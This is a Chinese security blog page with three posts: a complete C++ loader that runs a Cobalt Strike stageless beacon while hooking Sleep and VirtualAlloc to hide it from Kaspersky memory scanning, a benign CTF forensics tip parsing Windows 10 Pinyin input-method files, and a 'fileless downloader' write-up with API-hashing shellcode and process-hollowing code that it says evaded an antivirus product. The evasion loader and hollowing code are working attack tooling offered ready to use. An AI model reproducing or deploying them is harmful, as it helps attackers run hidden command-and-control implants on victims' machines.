cs bypass卡巴斯基内存查杀--BIE实现

前言

WBG大佬的的实现:cs bypass卡巴斯基内存查杀 跟风yansu大佬.pdf
yansu大佬的文章:记一次cs bypass卡巴斯基内存查杀

大佬们思路都骚的丫批,我就不献丑直接上代码了,原理和WBG大佬的一模一样,只不过自己实现了hook api,开箱即用

#include<windows.h>
#include<stdio.h>

static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD
    flAllocationType, DWORD flProtect) = VirtualAlloc;

static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;

LPVOID Beacon_address = NULL;
DWORD Beacon_data_len;
bool Vir_FLAG;

struct APIHeader {
#ifdef _WIN64
    char buff[12];
#else
    char buff[5];
#endif
    int size;
};

APIHeader Sleep_Header;
APIHeader VirtualAlloc_Header;
DWORD Beacon_Memory_address_flOldProtect;
BOOL IgnoreFirst = false;


HANDLE hEvent = CreateEvent(NULL, TRUE, false, NULL);
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{

    printf("FirstVectExcepHandler\n");
    printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
    //printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);

    if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005)
    {
        printf("恢复Beacon内存属性\n");
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE,
            &Beacon_Memory_address_flOldProtect);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
    printf("Beacon_set_Memory_attributes启动\n");
    while (true)
    {
        WaitForSingleObject(hEvent, INFINITE);
        printf("设置Beacon内存属性不可执行\n");
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE,
            &Beacon_Memory_address_flOldProtect);
        ResetEvent(hEvent);
    }
    return 0;
}



BOOL HookApi(LPCSTR Moudle, LPCSTR Function, LPVOID NewFunction, APIHeader* api)
{
    // 获取 user32.dll 模块加载基址
    HMODULE hDll = GetModuleHandleA(Moudle);
    if (NULL == hDll)
    {
        return FALSE;
    }
    // 获取 MessageBoxA 函数的导出地址
    PVOID OldFunction = GetProcAddress(hDll, Function);
    if (NULL == OldFunction)
    {
        return FALSE;
    }
    // 计算写入的前几字节数据, 32位下5字节, 64位下12字节
#ifndef _WIN64
    // 32位
    // 汇编代码:jmp _dwNewAddress
    // 机器码位:e9 _dwOffset(跳转偏移)
    //        addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
    //        addr2 --> 跳转地址的值,即_dwNewAddress的值
    //        跳转偏移 _dwOffset = addr2 - addr1
    BYTE pNewData[5] = { 0xe9, 0, 0, 0, 0 };
    DWORD dwNewDataSize = 5;
    DWORD dwOffset = 0;
    // 计算跳转偏移
    dwOffset = ((DWORD)NewFunction) - (DWORD)OldFunction;
    printf("raw:%x offset:%x\n", NewFunction, dwOffset);
    RtlCopyMemory(&pNewData[1], &dwOffset, sizeof(dwOffset));
#else
    // 64位
    // 汇编代码:mov rax, _dwNewAddress(0x1122334455667788)
    //         jmp rax
    // 机器码是:
    //    48 b8 _dwNewAddress(0x1122334455667788)
    //    ff e0
    BYTE pNewData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
    DWORD dwNewDataSize = 12;
    api->size = dwNewDataSize;
    ULONGLONG ullNewFuncAddr = (ULONGLONG)NewFunction;
    RtlCopyMemory(&pNewData[2], &ullNewFuncAddr, sizeof(ullNewFuncAddr));
#endif
    // 设置页面的保护属性为 可读、可写、可执行
    DWORD dwOldProtect = 0;
    VirtualProtect(OldFunction, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 保存原始数据
    RtlCopyMemory(api->buff, OldFunction, dwNewDataSize);
    //printf("address:%llx\n", OldFunction);
    RtlCopyMemory(OldFunction, pNewData, dwNewDataSize);
    // 还原页面保护属性
    VirtualProtect(OldFunction, dwNewDataSize, dwOldProtect, &dwOldProtect);
    return TRUE;
}
BOOL UnhookApi(LPCSTR Moudle, LPCSTR Function, APIHeader* api)
{
    // 获取 user32.dll 模块加载基址
    HMODULE hDll = GetModuleHandleA(Moudle);
    if (NULL == hDll)
    {
        return FALSE;
    }
    // 获取 MessageBoxA 函数的导出地址
    PVOID OldFunction = GetProcAddress(hDll, Function);
    if (NULL == OldFunction)
    {
        return FALSE;
    }
    // 计算写入的前几字节数据, 32位下5字节, 64位下12字节
#ifndef _WIN64
    DWORD dwNewDataSize = 5;
#else
    DWORD dwNewDataSize = 12;
#endif
    // 设置页面的保护属性为 可读、可写、可执行
    DWORD dwOldProtect = 0;
    VirtualProtect(OldFunction, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 恢复数据
    RtlCopyMemory(OldFunction, api->buff, dwNewDataSize);
    // 还原页面保护属性
    VirtualProtect(OldFunction, dwNewDataSize, dwOldProtect, &dwOldProtect);
    return TRUE;
}
typedef void(__stdcall* CODE) ();
void WINAPI NewSleep(DWORD dwMilliseconds)
{

    printf("sleep时间:%d\n", dwMilliseconds);
    UnhookApi("kernel32.dll", "Sleep", &Sleep_Header);
    if (Beacon_address) {
        VirtualFree(Beacon_address, Beacon_data_len, MEM_RELEASE);
    }
    SetEvent(hEvent);
    OldSleep(dwMilliseconds);
    HookApi("kernel32.dll", "Sleep", &NewSleep, &Sleep_Header);
}
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD flProtect) {

    UnhookApi("kernel32.dll", "VirtualAlloc", &VirtualAlloc_Header);
    Beacon_data_len = dwSize;
    Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
    //HookApi("kernel32.dll", "VirtualAlloc", &NewVirtualAlloc, &VirtualAlloc_Header);
    printf("分配大小:%d\t", Beacon_data_len);
    printf("分配地址:%llx \n", Beacon_address);

    return Beacon_address;

}
DWORD ReadFileData(char* szFilePath, char* pBuf)
{
    DWORD dwBytesRead;
    HANDLE hFile;

    hFile = CreateFileA(szFilePath, GENERIC_READ, FILE_SHARE_READ, NULL,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        return 0;
    }

    DWORD dwFileSize = GetFileSize(hFile, 0);
    if (dwFileSize == 0)
    {
        CloseHandle(hFile);
        return 0;
    }

    ReadFile(hFile, pBuf, dwFileSize, &dwBytesRead, NULL);
    CloseHandle(hFile);
    return dwFileSize;
}
DWORD GetFileSizeLen(char* szSource)
{

    HANDLE hFile;

    hFile = CreateFileA(szSource, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        MessageBoxA(NULL, "文件未找到!", NULL, NULL);
        return 0;
    }

    DWORD dwFileSize = GetFileSize(hFile, 0);
    if (dwFileSize == 0)
    {
        MessageBoxA(NULL, "文件长度为零!", NULL, NULL);
        CloseHandle(hFile);
        return 0;
    }
    CloseHandle(hFile);
    return dwFileSize;
}

int main()
{

    AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
    HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0,
        NULL);

    char shelname[] = "beacon.bin";
    DWORD filelen = GetFileSizeLen(shelname);
    char* filebuf = new char[filelen];
    ReadFileData(shelname, filebuf);
    PVOID p = NULL;
    if ((p = VirtualAlloc(NULL, filelen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
        MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);
    if (!(memcpy(p, filebuf, filelen)))
        MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);
    HookApi("kernel32.dll", "Sleep", &NewSleep, &Sleep_Header);
    HookApi("kernel32.dll", "VirtualAlloc", &NewVirtualAlloc, &VirtualAlloc_Header);
    CODE code = (CODE)p;

    code();
    CloseHandle(hThread1);

}

根据wbg大佬的指点,beacon.bin必须是cs生成无阶段木马的raw,不能用分阶段或者直接生成shellcode。

Tags: 免杀, cs

win10自带输入法取证的tips

前言

因为前两天打ctf时候遇到了一个题,挺有意思的。win10默认输入法会记录下词频和一些语句信息。
详细可以参考文章: 输入法取证:一种Windows8/10中文用户输入痕迹信息
文章地址很容易失效,我就提供标题了。
总之就是在
C:\Users\username\AppData\Roaming\Microsoft\InputMethod\Chs 下有两个ChsPinyinUDL.datChsPinyinIH.dat文件里面有记录词频信息。

依据上述基于数据流的逆向测试策略,对两个DAT用户词库文件进行结构分析,发现ChsPinyinlH和ChsPinyinUDL两个DAT文件存储的输入记录信息数据起始位置分别是在文件偏移地址0x1400处和0x2400处,每条用户输入记录信息的存储长度都是固定的,占用60个字节。

结构如下
chsPinyinIH结构.jpg
ChsPinyinUDL结构.jpg

最后附上代码

f = open("ChsPinyinUDL.dat","rb")
data = f.read()
data = data[9216:]
f.close()
i = 60
n=1
while True:
    chunk = n*i
    chunk_len = data[chunk+12:chunk+12+48]
    hex_chunk_len = ['%02x' % b for b in chunk_len]
    print(chunk_len.decode("utf-16"))
    n+=1
    if chunk>=len(data):
        break
f = open("ChsPinyinIH.dat","rb")
data = f.read()
data = data[5120:]
f.close()
i = 60
n=1
while True:
    chunk = n*i
    chunk_len = data[chunk:chunk+4]
    hex_chunk_len = ['%02x' % b for b in chunk_len]
    print(hex_chunk_len[::-1])
    unicode_chunk = data[chunk+12:chunk+12+data[chunk]*2]
    hex_unicode = ['%02x' % b for b in unicode_chunk]
    print(hex_unicode[::-1])
    print(unicode_chunk.decode("utf-16"))
    n+=1
    if chunk>=len(data):
        break

效果图
QQ图片20210405001434.jpg

Tags: ctf, 取证

无文件下载者计划 & 连载

前言 & 挖坑

项目地址:9bie / RmExecute

最近流行文件不落地,然后因为jio本又被杀的多了,辣么有什么办法快速弄出不落地免杀效果又好的东西呢?

对没错就整个shellcode的payload吧,可以用某种 “伪” 方法把一些exe弄成不落地and shellcode得到形式。

目前设想有直接用VS2017,弄个下载者的payload,调用win32 API,然后下载DLL/EXE,直接内存加载。

这样虽然不是严格意义上的payload,但是这是最简单的方法

或者使用反射DLL方法,直接在内存中展开。这就是比较主流and常规的用法了。不过直接payload整反射DLL似乎有点难。

按照我这破水平,估计就是先远程下载内存加载反射DLL的DLL然后再由反射DLL去下载DLL payload再反射加载。

emmm怎么感觉有点饶,不过应该就这样吧。

研究资料

开始

首先,这次我们不从0开始写shellcoded了。直接整个shellcode框架。这里我们使用上面第二个链接的RcDllShelcode作为开头项目,因为这个框架比较简单(我看得懂,顺带强烈推荐这个作者的文章

用C++撰写shellcode.doc

分析的十分好,简明直观的点出了然而初步检查下来之后发现,这个作者的api实现部分是直接使用字符串来定位api地址。这会导致shellcode变得十分容易分析。

这时候我们就可以参考别的项目文件

这里我参考了PIC_Bindshell 这个项目,写的也很好,然而我已经使用上面那个项目作为入口了,就还是继续用上面那个吧。这个项目的API项目和我之前那个方法差不多,只不过别人的更加优雅,人家是PEB找getprocxxxx那个api之后,直接计算hash就能得出函数在文件中的地址,之后就可以直接调用了。。当然缺点也有,就是得自己预先硬编码一个hash表,略微的麻烦,但是也至少比直接字符串搜索api地址比较好。

相关原理在这里:详解Windows API Hashing技术

PIC_Bindshell使用的是RORT32加密hash,但是人家作者给出了计算脚本,省去了我们去编写的麻烦。直接脱下来使用。

hash.png

之后就是开始计算我们第一阶段需要的WINAPI了。

基础的有msvcrt所需的几个常用功能,memcpy,memset,malloc,free这些,之后就是WinHttpOpen,WinHttpOpenRequest这些函数,全部加入我们所需的hashmaping里,很轻松的我们就有如下

hash2.png

之后,我们首先先整个下载功能

下载功能

同上,故技重施

winhttp.png

之后就是一系列黑魔法调用winapi。。。总而言之。。我们成功的完成了下载功能。

内存运行

之后,我们当然就是直接借鉴(抄)一份,内存运行的代码啦。

直接贴上代码

bool RunPortableExecutable()
{
    
    IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
    IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;

    CONTEXT* CTX;

    DWORD* ImageBase = NULL;; //Base address of the image
    void* pImageBase = NULL;; // Pointer to the image base

    char CurrentFilePath[MAX_PATH];

    DOSHeader = PIMAGE_DOS_HEADER(newbuff); // Initialize Variable
    NtHeader = PIMAGE_NT_HEADERS(DWORD(newbuff) + DOSHeader->e_lfanew); // Initialize

    fn.fnGetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
    {
        //ZeroMemory(&PI, sizeof(PI)); // Null the memory
        //ZeroMemory(&SI, sizeof(SI)); // Null the memory
        fn.fnmemset(&PI, 0, sizeof(PI));
        fn.fnmemset(&SI, 0, sizeof(SI));
        if (fn.fnCreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) //make process in suspended state, for the new image.                                                                                      
        {
            // Allocate memory for the context.
            CTX = LPCONTEXT(fn.fnVirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
            CTX->ContextFlags = CONTEXT_FULL; // Context is allocated

            if (fn.fnGetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
            {
                // Read instructions
                fn.fnReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
                pImageBase = fn.fnVirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

                //fix randomly crash
                if (pImageBase == 0) {
                    fn.fnResumeThread(PI.hThread);
                    return 1;
                }
                else {
                    // Write the image to the process
                    fn.fnWriteProcessMemory(PI.hProcess, pImageBase, newbuff, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
                    for (int count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
                    {
                        SectionHeader = PIMAGE_SECTION_HEADER(DWORD(newbuff) + DOSHeader->e_lfanew + 248 + (count * 40));
                        fn.fnWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(newbuff) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
                    }
                    fn.fnWriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

                    // Move address of entry point to the eax register
                    CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
                    fn.fnSetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
                    fn.fnResumeThread(PI.hThread); //?Start the process/call main()
                }

                return true; // Operation was successful.
            }
        }
    }
    return false;
}

怎么说,效果拔群

photo_2021-02-22_17-09-53.jpg

特地选了个比较古老并且特征比较明显的试了下某数字,完全无弹窗也无响应(当然和我没有写启动有很大的关系。

至此,咱们首要的目标就这么完成啦!

进阶 - payload加密

虽说我们的API使用了winapi hashing技术,然而再查找地址前的loadlibrary中引用的那些DLL名称以及我们url地址我们也都没有进行加密,比较推荐的是XOR加密,base64加密也不是不可以,但是base64的硬编码了一个base64表特征也十分明显,当然也可以打乱base64表增加逆向难度。。。然而CTF考过多少次了应该没有人解不开打乱b64表之后的内容不会吧不会吧不会吧?

XOR比起base64,短小高效,虽然对着明眼人可能一眼就看出来是XOR加密,但是在本来就短小的shellcode中比起一整个base64表,xor已经是十分小巧且可以接受的,我才不会说是我懒得写base64呢。

进阶2 - 反射DLL

虽然说我们已经完成了内存加载并且成功的免杀无弹窗上线了,然而在下发可执行文件的时候,一下下发一整个文件过去,可能会有大量的代码我们是暂时用不到的,并且这样可能增大了被dump分析的风险。

那么我们有没有办法,再想要的时候,获取到这部分代码片段,再下载执行呢?

有两个办法,一个是把功能全部shellcode片段化,让每个功能都成为shellcode,这样太奢侈也太麻烦了。(俺觉得就算是APT也不会这样搞)。所以另外一个技术诞生了。

那就是反射DLL执行,原理和内存执行exe差不多,只不过我们是把DLL精简成"最小PE"的模式,之后把这部分dump下来,手动修补再RVA展开执行。

//未完待续

Tags: 汇编,